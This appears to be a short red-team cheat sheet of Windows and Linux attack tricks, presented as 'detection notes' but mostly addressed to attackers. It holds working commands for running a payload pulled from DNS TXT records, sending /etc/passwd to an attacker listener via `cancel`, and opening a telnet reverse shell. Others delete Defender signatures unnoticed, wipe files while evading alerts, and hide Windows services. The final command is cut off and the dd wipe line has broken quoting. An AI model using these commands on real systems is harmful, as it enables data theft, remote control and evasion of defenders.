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Red Team quick detection notes

Red Team quick detection notes

Windows

Malicious Payload in DNS Txt

Attacker can put malicious payload in DNS TXT record content of domain. So, watch out for:

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powershell . (nslookup -q=txt some.domain.com)[-1]

Curl with cancel

Except curl, wget and nc commands, attacker can use ‘cancel’ to exfiltrate data

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Attacker machine:
nc -nlvp 18110 

Victim machine:
cancel -u "$(cat /etc/passwd | base64)" -h <ip>:<port>


RCE without python Bash

After successful RCE inside container, but the container doesn’t have BASH, Netcat, Python, or any of your normal revshell helpers, attacker can also use telnet

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mkfifo /tmp/cth; sh -i 2>&1 </tmp/cth | telnet <atkIP> 8443 >/tmp/cth; rm /tmp/cth


Explorer.exe for code Execution

Example: using explorer.exe for code execution

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explorer.exe /root,"C:\Windows\System32\calc.exe"

new processes

child parent

Procmon


Windows Defender signature removal

A bit messy, but if Windows Defender is causing you a big headache, rather than disabling it (which alerts the user), you should just neuter it by deleting all the signatures:

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"%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All


Red Teamers: those pesky security vendors–like VirusTotal, PaloAlto, and Fortinet–will poke at your infrastructure and evaluate your malicious links, potentially flagging them. Use this .htaccess file to block the common ones outright: https://gist.github.com/curi0usJack/971385e8334e189d93a6cb4671238b10



Delete file with shred

Just deleting files is not enough. To really remove them, use shred.

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shred -z cthulhu.txt

If shred command is in monitoring for generating alert, the shred command may be caught, you can do this:

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FN=cthulhu.txt; dd bs=1k count="du -sk \\"${FN}\\" | cut -f1" if=/dev/urandom >"${FN}"; rm -f "${FN}"


Hiding Windows services

This is a really nasty tip: Windows’ sc.exe allows you to manually assign service permissions with SDDL syntax. This allows you to essentially make your service invisible unless defenders already know the service name.

Services.exe, Get-Service, sc.exe, all of these fail.

Hiding Windows services:

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sc sdset evilsvc "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLO
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